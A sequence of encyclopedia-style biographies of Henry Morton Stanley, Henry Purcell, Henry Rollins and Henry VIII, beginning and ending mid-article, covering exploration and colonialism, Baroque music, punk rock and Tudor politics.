          Stanley joined Livingstone in exploring the region, establishing for certain that there was no connection between Lake Tanganyika and the River Nile. On his return, he wrote a book about his experiences: How I Found Livingstone; travels, adventures, and discoveries in Central Africa. This brought him into the public eye and gave him some financial success.


          In 1874, the New York Herald, in partnership with Britain's Daily Telegraph, financed Stanley on another expedition to the African continent. One of his missions was to solve a last great mystery of African exploration by tracing the course of the River Congo to the sea. The difficulty of this expedition is difficult to overstate. Stanley used sectional boats to pass the great cataracts separating the Congo into distinct tracts. After 999 days, on August 9, 1877, Stanley reached a Portuguese outpost at the mouth of the river Congo. Starting with 356 people, only 114 had survived of which Stanley was the only European survivor.


          He wrote about his trials in his book Through the Dark Continent, describing his expedition as if it were a conquest.


          Stanley was approached by the ambitious Belgian king Leopold II, who in 1876 had organized a private holding company disguised as an international scientific and philanthropic association, which he called the International African Society. The king spoke about his plans to introduce Western civilization and to bring religion to this part Africa, but didn't mention he wanted to claim the lands. Stanley returned to the Congo, negotiated with tribal chiefs and obtained fair concessions (that were later falsified to his advantage by the king). But Stanley refused to impose treaties on the chiefs that yielded sovereignty over their land. He built new roads to open the country, but this also gave advantage to the slave traders. And when Stanley discovered that the king had other plans, he remained on his payroll.


          In later years he spent much energy defending himself against charges that his African expeditions had been marked by callous violence and brutality. Stanley's opinion was that "the savage only respects force, power, boldness, and decision." Stanley would eventually be held responsible for a number of deaths and was indirectly responsible for helping establish the rule of Lopold II of Belgium over the Congo Free State. In addition, the spread of African trypanosomiasis across central Africa is attributed to the movements of Stanley's enormous baggage train and the Emin Pasha relief expedition.
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          In 1886, Stanley led the Emin Pasha Relief Expedition to "rescue" Emin Pasha, the governor of Equatoria in the southern Sudan. King Leopold II demanded that Stanley take the longer route, via the Congo river, hoping to acquire more territory and perhaps even Equatoria. After immense hardships and great loss of life, Stanley met Emin in 1888, discovered the Ruwenzori Range and Lake Edward, and emerged from the interior with Emin and his surviving followers at the end of 1890. (Turnbull, 1983) But this expedition tarnished Stanley's name because of the conduct of the other Europeans: British gentlemen and army officers. An army major was shot by a carrier, after behaving with extreme cruelty. James Jameson, heir to an Irish whiskey manufacturer, bought an eleven-year old girl and offered her to cannibals to document and sketch how she was cooked and eaten. Stanley only found out when Jameson had died of fever. Previous expeditions had given Stanley satisfaction, but this one only had caused disaster.


          On his return to Europe, he married Welsh artist Dorothy Tennant, and they adopted a child, Denzil. Stanley entered Parliament as Liberal Unionist member for Lambeth North, serving from 1895 to 1900. He became Sir Henry Morton Stanley when he was made a Knight Grand Cross of the Order of the Bath in 1899, in recognition of his service to the British Empire in Africa. He died in London on May 10, 1904; at his funeral, he was eulogized by Daniel P. Virmar. His grave, in the churchyard of St. Michael's Church in Pirbright, Surrey, is marked by a large piece of granite inscribed with the words "Henry Morton Stanley, Bula Matari, 1841-1904, Africa". (Bula Matari, or "Breaker of Rocks" in Kikongo, was Stanley's name among Africans in Congo.)
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          Henry Purcell (IPA: [ˈpɜː(r)sl]; September 10 (?) , 1659 November 21, 1695), a Baroque composer, is generally considered to be one of England's greatest composers. He has often been called England's finest native composer. Purcell incorporated Italian and French stylistic elements but devised a peculiarly English style of Baroque music.


          


          Biography


          


          Early life and career


          Purcell was born in St Ann's Lane, Old Pye Street, Westminster. His father, Henry Purcell, was a gentleman of the Chapel Royal, and sang at the coronation of King Charles II of England. Henry the elder had three sons, Edward, Henry, and Daniel. Daniel Purcell (d. 1717), the youngest of the brothers, was also a prolific composer who wrote the music for much of the final act of The Indian Queen after Purcell's death.


          After his father's death in 1664, Purcell was placed under the guardianship of his uncle, Thomas Purcell (d. 1682), who showed him great affection and kindness. Thomas was himself a gentleman of His Majesty's chapel, and arranged for Henry to be admitted as a chorister. Henry studied first under Captain Henry Cooke (d. 1672), master of the children, and afterwards under Pelham Humfrey (d. 1674), Cooke's successor. Henry was a chorister in the Chapel Royal until his voice broke in 1673, at which time he became assistant to John Hingeston, the musical instrument keeper for the King.


          Purcell is said to have been composing at nine years old; but the earliest work that can be certainly identified as his is an ode for the King's birthday, written in 1670. (The dates for his compositions are often uncertain, despite considerable research). After Humfrey's death, Purcell continued his studies under Dr John Blow. He attended Westminster School and in 1676 he was appointed organist, at Westminster Abbey and in the same year he composed the music to John Dryden's Aureng-Zebe, and Thomas Shadwell's Epsom Wells and The Libertine. These were followed in 1677 by the music to Aphra Behn's tragedy, Abdelazar, and in 1678 by an overture and masque for Shadwell's new version of Shakespeare's Timon of Athens. The chorus "In these delightful pleasant groves" from The Libertine is still performed.


          In 1679, he wrote some songs for John Playford's Choice Ayres, Songs and Dialogues, and also an anthem, the name of which is not known, for the Chapel Royal. From a letter written by Thomas Purcell, and still extant, we learn that this anthem was composed for the exceptionally fine voice of the Rev. John Gostling, then at Canterbury, but afterwards a gentleman of His Majesty's chapel. Purcell wrote several anthems at different times for this extraordinary voice, a basso profondo, which is known to have had a range of at least two full octaves, from D below the bass staff to the D above it. The dates of very few of these sacred compositions are known; perhaps the most notable example is the anthem "They that go down to the sea in ships". In thankfulness for a providential escape of the King from shipwreck, Gostling, who had been of the royal party, put together some verses from the Psalms in the form of an anthem, and requested Purcell to set them to music. The work is a very difficult one, including a passage which traverses the full extent of Gostling's voice, beginning on the upper D and descending two octaves to the lower.
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          Later career and death


          In 1680, Blow, who had been appointed organist of Westminster Abbey in 1669, resigned his office in favour of his pupil, who was still only twenty-two. Purcell now devoted himself almost entirely to the composition of sacred music, and for six years severed his connection with the theatre. However, during the early part of the year, probably before taking up his new office, he had produced two important works for the stage, the music for Nathaniel Lee's Theodosius and Thomas D'Urfey's Virtuous Wife. The composition of his opera Dido and Aeneas, which forms a very important landmark in the history of English dramatic music, has been attributed to this period, though its earliest production has been shown by W. Barclay Squire to have been between 1688 and 1690. It was written to a libretto furnished by Nahum Tate, at the request of Josiah Priest, a professor of dancing, who also kept a boarding-school for young gentlewomen, first in Leicester Fields and afterwards at Chelsea, where it is thought the opera was first performed. It is occasionally considered the first genuine English opera, though that title is usually given to Blow's Venus and Adonis: as in Blow's work, the action does not progress in spoken dialogue but in Italian-style recitative. Dido and Aeneas never found its way to the theatre, though it appears to have been very popular among private circles. It is believed to have been extensively copied, but only one song was printed by Purcell's widow in Orpheus Britannicus, and the complete work remained in manuscript until 1840, when it was printed by the Musical Antiquarian Society, under the editorship of Sir George Macfarren.


          Soon after Purcell's marriage, in 1682, on the death of Edward Lowe, he was appointed organist of the Chapel-Royal, an office which he was able to hold simultaneously with his position at Westminster Abbey. His eldest son was born in this same year. His first printed composition, Twelve Sonatas, was published in 1683. For some years after this he was busy in the production of sacred music, odes addressed to the king and royal family, and other similar works. In 1685 he wrote two of his finest anthems, "I was glad" and "My heart is inditing", for the coronation of King James II.


          In 1687, he resumed his connection with the theatre by furnishing the music for Dryden's tragedy, Tyrannick Love. In this year Purcell also composed a march and quick-step, which became so popular that Lord Wharton adapted the latter to the fatal verses of Lillibullero; and in or before January 1688 he composed his anthem "Blessed are they that fear the Lord", by express command of the King. A few months later he wrote the music for D'Urfey's play, The Fool's Preferment. In 1690 he wrote the songs for Dryden's version of Shakespeare's The Tempest, including "Full fathom five" and "Come unto these yellow sands", and the music for Betterton's adaptation of Fletcher and Massinger's Prophetess (afterwards called Dioclesian) and Dryden's Amphitryon. In 1691 he produced what is sometimes considered his dramatic masterpiece, King Arthur, also written by Dryden, and first published by the Musical Antiquarian Society in 1843. In 1692, he composed songs and music for The Fairy-Queen (an adaptation of Shakespeare's A Midsummer Night's Dream), the score of which was rediscovered in 1901 and published by the Purcell Society. However, in these semi-operas (the term for which at the time was "dramatic operas") the main characters of the plays do not sing but speak their lines: the action moves in dialogue rather than recitative, with music introduced only in isolated scenes and masques. In these works Purcell suffered the handicap of being unable to characterize through music, largely due to the aesthetics of mass audiences of that time.


          Purcell's Te Deum and Jubilate was written for Saint Cecilia's Day, 1693, the first English Te Deum ever composed with orchestral accompaniment. This work was annually performed at St Paul's Cathedral until 1712, after which it was performed alternately with Handel's Utrecht Te Deum and Jubilate until 1743, when both works were replaced by Handel's Dettingen Te Deum.


          He composed an anthem and two elegies for Queen Mary II's funeral. Besides the operas and semi-operas already mentioned, Purcell wrote Don Quixote, Boudicca, The Indian Queen and others, a vast quantity of sacred music, and numerous odes, cantatas and other miscellaneous pieces. The quantity of his instrumental chamber music is minimal after his early career, and his keyboard music consists of an even more minimal number of harpsichord suites and organ pieces.


          He died at his house in Dean's Yard, Westminster, in 1695, at the height of his career; he was in his mid-thirties. His wife and three of his six children survived him. His widow died in 1706, having published a number of his works, including the now famous collection called Orpheus Britannicus, in two volumes, printed in 1698 and 1702 respectively.


          The cause of Purcell's death is unclear: one theory is that he caught a chill after returning late from the theatre one night to find that his wife had locked him out; another is that he succumbed to chocolate poisoning; perhaps the most likely is that he died of tuberculosis. The beginning of Purcell's will reads:


          
            	In the name of God Amen. I, Henry Purcell, of the City of Westminster, gentleman, being dangerously ill as to the constitution of my body, but in good and perfect mind and memory (thanks be to God) do by these presents publish and declare this to be my last Will and Testament. And I do hereby give and bequeath unto my loving wife, Frances Purcell, all my estate both real and personal of what nature and kind soever...

          


          Purcell is buried adjacent to the organ in Westminster Abbey. His epitaph reads, "Here lyes Henry Purcell Esq., who left this life and is gone to that blessed place where only his harmony can be exceeded".


          


          Influence and reputation


          A Purcell Club was founded in London in 1836 for promoting the performance of his music, but was dissolved in 1863. In 1876 a Purcell Society was founded, which published new editions of his works. A modern day Purcell Club has been created, and provides guided tours and concerts in support of Westminster Abbey.


          After his death, Purcell was honored by many of his contemporaries, including his old friend John Blow, who wrote "An Ode, on the Death of Mr Henry Purcell (Mark how the lark and linnet sing)" with text by his old collaborator John Dryden. More recently, the English poet Gerard Manley Hopkins wrote a famous sonnet entitled simply "Henry Purcell", with a head-note reading: "The poet wishes well to the divine genius of Purcell and praises him that, whereas other musicians have given utterance to the moods of man's mind, he has, beyond that, uttered in notes the very make and species of man as created both in him and in all men generally."


          So strong was his reputation that a popular wedding processional was incorrectly attributed to Purcell for many years. The so-called "Purcell's Trumpet Voluntary" was in fact written around 1700 by a British composer named Jeremiah Clarke as the Prince of Denmark's March.


          Purcell is among the Baroque composers who has had a direct influence on modern rock and roll; according to Pete Townshend of The Who, Purcell was among his influences, particularly evident in the opening bars of The Who's " Pinball Wizard." The title song from the sound track of the film A Clockwork Orange is from Purcell's "Music for the Funeral of Queen Mary".


          Purcell also had a strong influence on the composers of the English musical renaissance of the early twentieth century, most notably Benjamin Britten, who created and performed a realisation of Dido and Aeneas and whose The Young Person's Guide to the Orchestra is based on a theme from Purcell's Abdelazar. Stylistically, the aria "I know a bank" from Britten's opera A Midsummer Night's Dream is clearly inspired by Purcell's aria "Sweeter than Roses", which he wrote as part of incidental music to Richard Norton's Pausanias, the Betrayer of His Country. In the 21st century, the soundtrack to the 2005 film version of Pride and Prejudice features a dance titled "A Postcard to Henry Purcell" by composer Dario Marianelli.
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              	Background information
            


            
              	Birth name

              	Henry Lawrence Garfield
            


            
              	Born

              	February 13, 1961 (1961-02-13)

              Washington, D.C., U.S.
            


            
              	Genre(s)

              	Hardcore punk, Alternative rock, Spoken word
            


            
              	Occupation(s)

              	Singer, Songwriter, Actor, Standup comedian, Author
            


            
              	Instrument(s)

              	Vocals
            


            
              	Years active

              	1980  present
            


            
              	Label(s)

              	2.13.61, Dischord, Quarterstick Records, SST
            


            
              	Associated acts

              	State of Alert

              Black Flag

              Rollins Band
            


            
              	Website

              	21361.com
            

          


          Henry Rollins (born February 13, 1961 as Henry Lawrence Garfield; often referred to simply as Rollins) is an American singer and songwriter, spoken word artist, author, actor, and publisher.


          After joining the short-lived Washington, D.C. band State of Alert in 1980, Rollins fronted the Californian hardcore punk band Black Flag from 1981 until 1986. Following the band's breakup, Rollins soon established the record label and publishing company 2.13.61 to release his spoken word albums, as well as forming the Rollins Band, which toured with a number of lineups until 2003 and during 2006.


          Since Black Flag, Rollins has embarked on projects covering a variety of media. He has hosted numerous radio shows, such as The Henry Rollins Show and Harmony In My Head, and television shows, such as MTV's 120 Minutes and Jackass, along with roles in several films. Rollins has also campaigned for human rights in the United States, promoting gay rights in particular, and tours overseas with the United Service Organizations to entertain American troops, despite his opposition to the Bush administration and the Iraq war.


          


          Biography


          


          Youth


          Henry Garfield was born in Washington, D.C. on February 13, 1961, and grew up in the Glover Park neighbourhood of the city. An only child, Garfield's parents divorced when he was a toddler; he suffered from low self-esteem and a poor attention span as a child. He was raised primarily by his mother, Iris, who taught him to read before he entered public school; however, because of "bad grades, bad attitude, poor conduct", he was soon sent to The Bullis School, a military school in Potomac, Maryland. Garfield disliked the authoritarian atmosphere and the then boys-only campus, which hindered his dating attempts and made him uncomfortable around women for several years.


          According to Garfield, military school helped him to develop a sense of discipline and a strong work ethic. It was at Bullis that he began writing; his early literary efforts were mainly short stories about "blowing up my school and murdering all the teachers." Despite the relative affluence of Glover Park, for Garfield "it was a very rough up-bringing in a lot of other ways. I accumulated a lot of rage by the time I was seventeen or eighteen." Much of the rage came from problems at home, but Rolling Stone printed an interview in April 1992, wherein Rollins said he'd been sexually molested as a child, and many of his later spoken word monologues refer to an abusive father. Some of his rage came from the racial tensions at that time; Garfield was often beaten up by black teenagers because of his race.


          


          State of Alert


          After high school, Garfield attempted college, but after being discouraged by the behaviour of his fellow students, who were into "beer and bongs," he left and began working in minimum-wage jobs, including a job as a taxi driver for liver samples at the National Institutes of Health. Garfield became involved in the punk rock scene after he and Ian MacKaye bought a Sex Pistols record; he later described it as a "revelation." By 1979, Garfield was working as a roadie for local bands, including MacKaye's Teen Idles. When the band's singer Nathan Strejcek failed to appear for practice sessions, Garfield convinced the Teen Idles to let him sing. Word of Garfield's ability spread around Washington's underground music scene; Bad Brains singer H.R. would sometimes coax Garfield on stage to sing with him.


          In late 1980, the Washington punk band The Extorts lost their frontman Lyle Preslar to Minor Threat. Garfield joined the rest of the band to form State of Alert, and became its frontman and vocalist. He put words to the band's five songs and wrote several more. S.O.A. recorded their sole extended play, No Policy, and released it in 1981 on MacKaye's Dischord Records. S.O.A. disbanded after a total of nine concerts and one EP. Garfield had enjoyed being the band's frontman, and had earned a reputation for fighting in shows. He later said: "I was like nineteen and a young man all full of steam [...] Loved to get in the dust-ups." By this time, Garfield had become the manager of the Georgetown Hagen-Dazs ice cream store; his steady employment had helped to finance the S.O.A. EP.


          


          Black Flag


          In 1981, a friend gave Garfield and MacKaye a copy of Black Flag's Nervous Breakdown EP. Garfield soon became a fan of the band, exchanging letters with bassist Chuck Dukowski and later inviting the band to stay in his parents' home when Black Flag toured the East Coast in December 1980. When Black Flag returned to the East Coast in early 1981, Garfield attended as many of their concerts as he could. At an impromptu show in a New York bar, Black Flag's vocalist Dez Cadena allowed Garfield to sing "Clocked In," as Garfield had a five hour drive back to Washington DC to return to work after the performance.


          Unbeknownst to Garfield, Cadena wanted to switch to guitar, and the band was looking for a new vocalist. The band was impressed with Garfield's singing and stage demeanor, and the next day, after a semi-formal audition, they asked him to become their permanent vocalist. Despite some doubts, he accepted, in part because of MacKaye's encouragement. His high level of energy and intense personality suited the band's style, but Garfield's diverse tastes in music were a key factor in his being selected as singer; Black Flag's founder Greg Ginn was growing restless creatively and wanted a singer who was willing to move beyond simple, three-chord punk.


          After joining Black Flag in 1981, Garfield quit his job at Hagen-Dazs, sold his car, and moved to Los Angeles, California. Upon arriving in Los Angeles, Garfield got the Black Flag logo tattooed on his left bicep and changed his surname to Rollins, a surname he and MacKaye had used as teenagers. Rollins was in a different environment in Los Angeles; the police soon realized he was a member of Black Flag and he was hassled as a result. Rollins later said "That really scared me. It freaked me out that an adult would do that. [...] My little eyes were opened big time." Rollins also began to take "large quantities" of LSD during Black Flag tours, after bassist Chuck Dukowski urged him with the words "it will help you not be such an asshole."


          Before concerts, as the rest of band tuned up, Rollins would stride about the stage dressed only in a pair of black shorts, grinding his teeth; to focus before the show he would squeeze a pool ball. His stage persona impressed several critics; after a 1982 show in Anacortes, Washington, Sub Pop critic Calvin Johnson wrote: "Henry was incredible. Pacing back and forth, lunging, lurching, growling; it was all real, the most intense emotional experiences I have ever seen."


          By 1983, Rollins' stage persona was increasingly alienating him from the rest of Black Flag. During a show in England, Rollins assaulted a member of the audience; Ginn later scolded Rollins, calling him a "macho asshole." A legal dispute with Unicorn Records held up further Black Flag releases until 1984, and Ginn was slowing the band's tempo down so that they would remain innovative. In August 1983 guitarist Dez Cadena had left the group; a stalemate lingered between Dukowski and Ginn, who wanted Dukowski to leave, before Rollins fired Dukowski outright. 1984's heavy metal-influenced My War featured Rollins screaming and wailing throughout many of the songs; the band's members also grew their hair to confuse the band's hardcore punk audience.


          Black Flag's change in musical style and appearance alienated many of their original fans, who focused their displeasure on Rollins by punching him in the mouth, stabbing him with pens or scratching him with their nails, among other methods. He often fought back, dragging audience members on stage and assaulting them. Rollins became increasingly alienated from the audience; in his tour diary, Rollins wrote "When they spit at me, when they grab at me, they aren't hurting me. When I push out and mangle the flesh of another, it's falling so short of what I really want to do to them." During the Unicorn legal dispute, Rollins had started a weight-lifting program, and by their 1984 tours, he had become visibly well-built; journalist Michael Azerrad later commented that "his powerful physique was a metaphor for the impregnable emotional shield he was developing around himself."


          


          Rollins Band and solo releases


          Before Black Flag broke up in early 1986, Rollins had already toured as a solo spoken word artist. He released two solo records in 1987, Hot Animal Machine, a collaboration with guitarist Chris Haskett, and Drive by Shooting, recorded as "Henrietta Collins and the Wifebeating Childhaters"; Rollins also released his second spoken word album, Big Ugly Mouth in the same year. Along with Haskett, Rollins soon added Andrew Weiss and Sim Cain, both former members of Ginn's side-project Gone, and called the new group the Rollins Band. The band toured relentlessly, and their 1987 debut album, Life Time, was quickly followed by the outtakes and live collection Do It. The band continued to tour throughout 1988; 1989 marked the release of another Rollins Band album, Hard Volume. Another live album, Turned On, and another spoken word release, Live at McCabe's, followed in 1990.


          1991 saw the Rollins Band sign a distribution deal with Imago Records and appear at the Lollapalooza festival; both improved the band's presence. However, in December 1991, Rollins and his best friend Joe Cole were accosted by gunmen outside Rollins' home. Cole was murdered by a gunshot to the head, but Rollins escaped without injury. Although traumatized by Cole's death, Rollins continued to release new material; the spoken-word album Human Butt appeared in 1992 on his own record label, 2.13.61. The Rollins Band released The End of Silence, Rollins' first charting album.


          The following year, Rollins released a spoken-word double album, The Boxed Life. The Rollins Band embarked upon the End of Silence tour; bassist Weiss was fired towards its end and replaced by funk and jazz bassist Melvin Gibbs. According to critic Steve Huey, 1994 was Rollins' "breakout year". The Rollins Band appeared at Woodstock 94 and released Weight, which ranked on the Billboard Top 40. Rollins released Get in the Van: On the Road with Black Flag, a double-disc set of him reading from his Black Flag tour diary of the same name; he won the Grammy for Best Spoken Word Recording as a result. Rollins was named 1994's "Man of the Year" by the American men's magazine Details and became a contributing columnist to the magazine. With the increased exposure, Rollins made several appearances on American music channels MTV and VH1 around this time, and made his Hollywood film debut in 1994 in The Chase playing a police officer.


          In 1995, the Rollins Band's record label, Imago Records, declared itself bankrupt. Rollins began focusing on his spoken word career. He released Everything, a recording of a chapter of his book Eye Scream with free jazz backing, in 1996. He continued to appear in various films, including Heat, Johnny Mnemonic and Lost Highway. The Rollins Band signed to Dreamworks Records in 1997 and soon released Come in and Burn, but it did not receive as much critical acclaim as their previous material. Rollins continued to release spoken-word book readings, releasing Black Coffee Blues in the same year. 1998 saw Rollins released Think Tank, his first set of non-book-related spoken material in five years.


          By 1998, Rollins felt that the relationship with his backing band had run its course, and the line-up disbanded. He had produced a Los Angeles hard rock band called Mother Superior, and invited them to form a new incarnation of the Rollins Band. Their first album Get Some Go Again, was released two years later. The Rollins Band released several more albums, including 2001's Nice and 2003's Rise Above: 24 Black Flag Songs to Benefit the West Memphis Three. After 2003, the band became inactive as Rollins focused on radio and television work.


          


          Musical style


          


          Vocals


          As a vocalist, Rollins has adopted a number of styles through the years. Rollins was initially noted in the Washington, D.C. hardcore scene for what journalist Michael Azerrad described as a "compelling, raspy howl". With State of Alert, Rollins "spat out the lyrics like a bellicose auctioneer". He adopted a similar style after joining Black Flag in 1981. By their album Damaged however, Black Flag began to incorporate a swing beat into their style; Rollins then abandoned his S.O.A. "bark" and adopted the band's swing. Rollins later explained: "What I was doing kind of matched the vibe of the music. The music was intense and, well, I was as intense as you needed."


          In both incarnations of the Rollins Band, Rollins combined spoken word with his traditional vocal style in songs such as "Liar" (the song begins with a one minute spoken diatribe by Rollins), as well as barking his way through songs (such as "Tearing" and "Starve") and employing the loud-quiet dynamic. Rolling Stone's Anthony DeCurtis names Rollins a "screeching hate machine" and his "hallmark" as "the sheets-of-sound assault".


          Rollins also appeared in the 1993 Tool album, Undertow. He and Tool front man, Maynard James Keenan, performed the vocals in the song "Bottom".


          


          Songwriting


          Rollins wrote several songs with Black Flag, but was not the group's main songwriter. With the Rollins Band, his lyrics focused "almost exclusively on issues relating to personal integrity," according to critic Geoffrey Welchman.


          Campaigning and activism
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          Rollins has become an outspoken human rights activist, most vocally for gay rights, while deriding any suggestion that he himself was gay. In 1998, he declared: "If I was gay, there would be no closet. You would never see the closet I came out of. Why? Because I'd have burned it for kindling by the time I was twelve ... If I was gay, at this stage of the game  age 37, aging alternative icon  I'd be taking out ads." Rollins frequently speaks out on social justice on his spoken word tours and promotes equality, regardless of sexuality. He was the host of the WedRock benefit concert, which raised money for a pro-gay-marriage organization.


          During the 2003 Iraq War, he started touring with the United Service Organizations to entertain troops overseas, despite his personal opposition to the war and the Bush administration. He has also been active in the campaign to free the " West Memphis Three"  three young men that many believe were wrongly convicted of murder. Rollins appears with Public Enemy frontman Chuck D on the Black Flag song "Rise Above" on the benefit album Rise Above: 24 Black Flag Songs to Benefit the West Memphis Three; the first time Rollins had performed Black Flag's material since 1986.


          


          Works


          


          Studio albums


          
            	Hot Animal Machine (1987)


            	Drive by Shooting (1987)

          


          


          Spoken word


          
            	Short Walk on a Long Pier (1985)


            	Big Ugly Mouth (1987)


            	Sweatbox (1989)


            	Live at McCabe's (1990)


            	Human Butt (1992)


            	Deep Throat (1992)


            	The Boxed Life (1993)


            	Get in the Van: On the Road with Black Flag (1994)


            	Everything (1996)


            	Black Coffee Blues (1997)


            	Think Tank (1998)


            	Eric the Pilot (1999)


            	A Rollins in the Wry (2001)


            	Live at the Westbeth Theatre (2001)


            	Talk Is Cheap Vol I (2003)


            	Talk Is Cheap Vol II (2003)


            	Nights Behind the Tree Line (2004)


            	Talk Is Cheap Vol III (2004)


            	Talk Is Cheap Vol IV (2004)

          


          


          Spoken word DVDs


          
            	You Saw Me Up There (1998)


            	Talking from the Box/Live in London (2001)


            	Up for It (2001)


            	Live @ Luna Park (2003)


            	Shock & Awe (2006)


            	Live in the Conversation Pit (2006)


            	Henry Rollins: Uncut from NYC (2007)
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              	Henry VIII
            


            
              	King of England; King of Ireland; prev. Lord of Ireland (more...)
            


            
              	[image: ]
            


            
              	Reign

              	21 April 1509  28 January 1547
            


            
              	Coronation

              	24 June 1509
            


            
              	Predecessor

              	Henry VII
            


            
              	Successor

              	Edward VI
            


            
              	Consort

              	
                Catherine of Aragon

                m. 1509, ann. 1533


                Anne Boleyn

                m. 1533, ann. 1536

                Jane Seymour

                m. 1536, died 1537

                Anne of Cleves

                m. 1540, ann. 1540

                Catherine Howard

                m. 1540, died 1542

                Catherine Parr

                m. 1543, widowed 1547


              
            


            
              	Issue
            


            
              	Mary I

              Henry FitzRoy

              Elizabeth I

              Edward VI
            


            
              	
                
                  Detail
                
Titles and styles
              
            


            
              	His Majesty The King

              His Grace The King

              The Prince of Wales

              The Duke of York

              Prince Henry
            


            
              	Royal house

              	House of Tudor
            


            
              	Father

              	Henry VII
            


            
              	Mother

              	Elizabeth of York
            


            
              	Born

              	28 June 1491(1491-06-28)

              Greenwich Palace, Greenwich
            


            
              	Died

              	28 January 1547 (aged55)

              Palace of Whitehall, London
            


            
              	Burial

              	St George's Chapel, Windsor Castle
            

          


          Henry VIII ( 28 June 1491  28 January 1547) was King of England and Lord of Ireland, later King of Ireland and claimant to the Kingdom of France, from 21 April 1509 until his death. Henry was the second monarch of the House of Tudor, succeeding his father, Henry VII.


          Henry VIII was a significant figure in the history of the English monarchy. Although in the first parts of his reign he energetically suppressed the Reformation of the Anglican Church, which had been building steam since John Wycliffe of the fourteenth century, he is more often known for his ecclesiastical struggles with Rome. These struggles ultimately led to him separating the Anglican Church from Roman authority, the Dissolution of the Monasteries, and establishing the English monarch as the Supreme Head of the Church of England. Although some claim he became a Protestant on his death-bed, he advocated Catholic ceremony and doctrine throughout his life; royal backing of the English Reformation was left to his heirs, Edward VI and Elizabeth I. Henry also oversaw the legal union of England and Wales (see Laws in Wales Acts 15351542). He is noted in popular culture for being married six times.


          


          Early years (1491-1509)


          Born in Greenwich Palace, Henry VIII was the third child of Henry VII and Elizabeth of York. Of the young Henry's six siblings, only three  Arthur (the Prince of Wales), Margaret, and Mary  survived infancy. In 1493, Henry was appointed Constable of Dover Castle and Lord Warden of the Cinque Ports. In 1494, he was created Duke of York. He was subsequently appointed Earl Marshal of England and Lord Lieutenant of Ireland. Henry was given a first-rate education from leading tutors, becoming fluent in Latin, French, and Spanish. As it was expected that the throne would pass to Prince Arthur, Henry's older brother, Henry was prepared for a career in the Church.


          


          Death of Arthur


          In 1502, Arthur died suddenly of an unknown disease, tuberculosis, perhaps. Arthur's death thrust all his duties upon his brother Henry, who then became Prince of Wales. Henry VII renewed his efforts to seal a marital alliance between England and Spain, by offering Henry, Prince of Wales, in marriage to Prince Arthur's widow, Catherine of Aragon, the youngest surviving child of King Ferdinand II of Aragon and Queen Isabella I of Castile.
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          In order for the new Prince of Wales to marry his brother's widow, a dispensation from the Pope was normally required to overrule the impediment of affinity. Catherine swore that her marriage to Prince Arthur had been unconsummated. Still, both the English and Spanish parties agreed that an additional papal dispensation of affinity would be prudent to remove all doubt regarding the legitimacy of the marriage.


          The impatience of Catherine's mother, Queen Isabella, induced Pope Julius II to grant dispensation in the form of a Papal bull, and fourteen months after her young husband's death, Catherine found herself betrothed to his even younger brother, Henry, the new Prince of Wales. Yet by 1505, King Henry VII lost interest in a Spanish alliance, and the younger Henry declared that his betrothal had been arranged without his consent.


          Continued diplomatic maneuvering over the fate of the proposed marriage lingered until the death of Henry VII in 1509. Only 17 years old, Henry married his brother's widow, Catherine, on 11 June 1509, and on 24 June 1509, the two were crowned at Westminster Abbey. Two days later, he arrested his father's two most unpopular ministers, Sir Richard Empson and Edmund Dudley. They were groundlessly charged with high treason and in 1510, the king had them executed. This was to become Henry's primary tactic for dealing with those who stood in his way.


          


          France and the Habsburgs (1509-1525)
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          Henry was a Renaissance Man and his court was a centre of scholarly and artistic innovation and glamourous excess, epitomised by The Field of the Cloth of Gold. He was an accomplished musician, author, and poet. His best known musical composition is Pastime with Good Company or The Kynges Ballade. He was also known to have been an avid gambler and dice player. He excelled at sports, especially jousting, hunting, and tennis. The king was also known for his strong dedication to the Christian faith.
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              King Henry VIII
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          In 1511, Pope Julius II proclaimed a Holy League against France. This new alliance rapidly grew to include not only Spain and the Holy Roman Empire, but also England. Henry decided to use the occasion as an excuse to expand his holdings in northern France. He concluded the Treaty of Westminster, a pledge of mutual aid against the French with Spain, in November 1511 and prepared for involvement in the War of the League of Cambrai. In 1513, Henry invaded France and his troops defeated a French army at the Battle of the Spurs. James IV of Scotland invaded England at the behest of Louis, but he failed to draw Henry's attention from France. The Scots' disastrous defeat at the Battle of Flodden Field took place on 9 September 1513. Among the dead were the Scottish King and the battle ended Scotland's brief involvement in the war.


          On 18 February 1516, Queen Catherine bore Henry one of his four children to reach adulthood, Princess Mary, who later reigned as Mary I.


          


          Mistresses


          Historians are sure of the names of only two of Henry's mistresses: Elizabeth Blount (usually referred to as Bessie) and Mary Boleyn (Anne's sister). Elizabeth Blount gave birth to Henry's illegitimate son, Henry FitzRoy. The young boy was made Duke of Richmond in June 1525 in what some thought was one step on the path to legitimatizing him. In 1533, he married Mary Howard, Anne Boleyn's first cousin, but died only three years later without any successors. At the time of FitzRoy's death, the king was trying to get a law passed that would allow his otherwise illegitimate son to become king.


          Mary Boleyn was the sister of Anne Boleyn. She is thought to have been his mistress at some point between 1519 and 1526. Historians have speculated that Mary Boleyn's two children, Catherine and Henry were fathered by Henry, but this has never been proven and the King never acknowledged them as he did Henry Fitzroy.


          The king also had a brief, six-month affair with Mary Shelton sometime in 1535. Mary has also been confused with her sister, Margaret. However, it has been confirmed that it was in fact Mary and not Margaret Shelton with whom Henry had the affair.


          


          Henry's "great matter" (1525-1533)


          In 1525, Henry's impatience with what he perceived to be Catherine's inability to produce the desired heir increased when he became attracted to a charismatic young woman in the Queen's entourage, Anne Boleyn. Henry became enamoured with her and began his pursuit. Boleyn resisted his attempts to seduce her and she refused to become his mistress, as her sister Mary Boleyn had. Henry was all the more attracted to her because of this refusal and he pursued her relentlessly. Boleyn continued to reject the Kings initial advances by saying, I beseech your highness most earnestly to desist, and to this my answer in good part. I would rather lose my life than my honesty.


          It is possible that the idea of annulment had suggested itself to the King much earlier than this, and it is highly probable that it was motivated by his desire for a male heir. Before Henry's father Henry VII ascended the throne, England had been beset by civil warfare over rival claims to the English crown and Henry wanted to avoid a similar uncertainty over the succession. The King had no sons due to the death in infancy of all Catherine of Aragon's children except his daughter Mary. Anne saw her opportunity in Henry's infatuation and determined that she would only yield as his acknowledged queen.
